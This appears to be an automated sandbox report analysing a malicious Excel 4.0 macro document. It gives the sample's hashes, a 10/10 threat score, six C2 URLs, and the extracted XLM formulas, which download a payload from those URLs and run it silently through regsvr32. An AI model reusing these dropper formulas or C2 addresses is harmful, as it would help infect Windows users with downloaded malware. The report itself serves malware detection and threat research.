General

  • Target

    f0f300c12848b2cc24dab09aba972a08317808caf165793bd6bd090d26be1b25

  • Size

    46KB

  • Sample

    241120-p4rtra1phk

  • MD5

    84c70b1a4c8d2d0d84b84b16aa797c72

  • SHA1

    3736948b789e3d830636d2b1766c892b9a620b3c

  • SHA256

    f0f300c12848b2cc24dab09aba972a08317808caf165793bd6bd090d26be1b25

  • SHA512

    80c7639fe82cfa4bbd013a33f15482f0931827749291f59f7204e79ecfe6651b149b2e7495a900c83a78ddf9cbfdd18bdd85fcc87e0436858951d4fe0f86dc7d

  • SSDEEP

    768:2o9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:2o9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      f0f300c12848b2cc24dab09aba972a08317808caf165793bd6bd090d26be1b25

    • Size

      46KB

    • MD5

      84c70b1a4c8d2d0d84b84b16aa797c72

    • SHA1

      3736948b789e3d830636d2b1766c892b9a620b3c

    • SHA256

      f0f300c12848b2cc24dab09aba972a08317808caf165793bd6bd090d26be1b25

    • SHA512

      80c7639fe82cfa4bbd013a33f15482f0931827749291f59f7204e79ecfe6651b149b2e7495a900c83a78ddf9cbfdd18bdd85fcc87e0436858951d4fe0f86dc7d

    • SSDEEP

      768:2o9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:2o9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks